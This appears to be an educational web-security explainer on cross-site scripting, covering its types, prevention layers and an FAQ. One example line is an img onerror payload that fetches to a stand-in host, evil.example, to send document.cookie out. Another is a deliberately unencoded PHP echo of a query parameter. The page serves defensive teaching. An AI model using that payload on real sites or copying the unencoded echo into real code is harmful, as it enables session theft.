What Is Cross-Site Scripting (XSS)?
Cross-site scripting (XSS) is a vulnerability that lets an attacker run their own JavaScript inside another user’s browser, on a site that user trusts. It happens when an application inserts untrusted input into a page without correct encoding. The injected script runs with the site’s full privileges: sessions, actions, and content are all exposed.
How does an XSS attack actually execute?#
The mechanism is a confusion between data and code. A page template means to print a username as text; the browser, seeing angle brackets, parses it as markup instead. Consider a search page that echoes the query:
<p>Results for: <?= $_GET['q'] ?></p>
A query of <img src=x onerror="fetch('https://evil.example/c?d='+document.cookie)"> stops
being a search term and becomes a working exfiltration implant the moment the browser parses
it. Nothing “broke in” — the application invited the code in by failing to encode it.
What are the three types of XSS?#
| Type | Where the payload lives | Who it hits | Typical severity |
|---|---|---|---|
| Stored | Server-side: comments, profiles, names | Every visitor who views the data | Highest |
| Reflected | The request itself, via a crafted link | The user who clicks the link | High |
| DOM-based | Client-side JavaScript sinks | Users reaching a vulnerable code path | High |
The taxonomy matters less than the shared root cause: in all three, untrusted input reaches a
context where the browser will execute it. DOM-based XSS deserves special attention in modern
single-page apps, because the vulnerable flow never touches the server — location.hash into
innerHTML is the classic pattern.
How do you actually prevent XSS?#
Defense is layered. The first layer is categorical; the rest assume the first will someday fail.
- Encode output for its context. HTML-encode into HTML, attribute-encode into attributes, JavaScript-encode into script contexts. Modern template engines do this by default — the vulnerabilities live in the escape hatches (
innerHTML,v-html,dangerouslySetInnerHTML). - Validate and normalize input, but as hygiene, not as the defense. Attackers encode payloads in ways validators miss.
- Deploy a strict Content Security Policy so that injected markup has nothing to execute with:
Content-Security-Policy: default-src 'self';
script-src 'nonce-{random}' 'strict-dynamic';
object-src 'none'; base-uri 'none'
- Flag session cookies
HttpOnlyand use theSameSiteattribute, so a successful injection steals less.
Where does XSS sit among the other attack classes?#
XSS is the browser-side member of the injection family. Its database-side sibling is SQL injection — same root cause, different interpreter. The reason XSS is possible at all, despite the browser’s isolation rules, is covered in our explainer on the same-origin policy: injected script runs inside the trusted origin, so the policy never engages. And the headers that blunt XSS damage are detailed in the HTTP security headers guide.
More attack classes, one mechanism at a time: the Web Security hub.
Frequently asked questions#
Is XSS still relevant now that frameworks escape output by default?
Yes. Frameworks eliminated the easiest cases, but XSS persists through escape hatches like innerHTML and dangerouslySetInnerHTML, through URL-based sinks like javascript: links, and through third-party scripts. It remains a fixture of the OWASP Top 10 under the injection category.
What is the difference between stored and reflected XSS?
Stored XSS persists the payload on the server — in a comment or profile field — and executes for every visitor who views it. Reflected XSS bounces the payload off a request, typically via a crafted link, and executes only for the victim who clicks it. Stored is generally more severe because it needs no interaction.
Does a Content Security Policy make output encoding unnecessary?
No. CSP is a second layer, not a replacement. A strict CSP limits what injected markup can execute, but bypasses exist and policies drift. Correct, context-aware output encoding remains the primary defense; CSP catches what slips through.
Can XSS steal session cookies?
Only cookies without the HttpOnly flag are readable from JavaScript. Marking session cookies HttpOnly removes the classic document.cookie theft, but XSS can still act as the user directly from the page — sending requests with their session attached — so HttpOnly narrows the damage without eliminating it.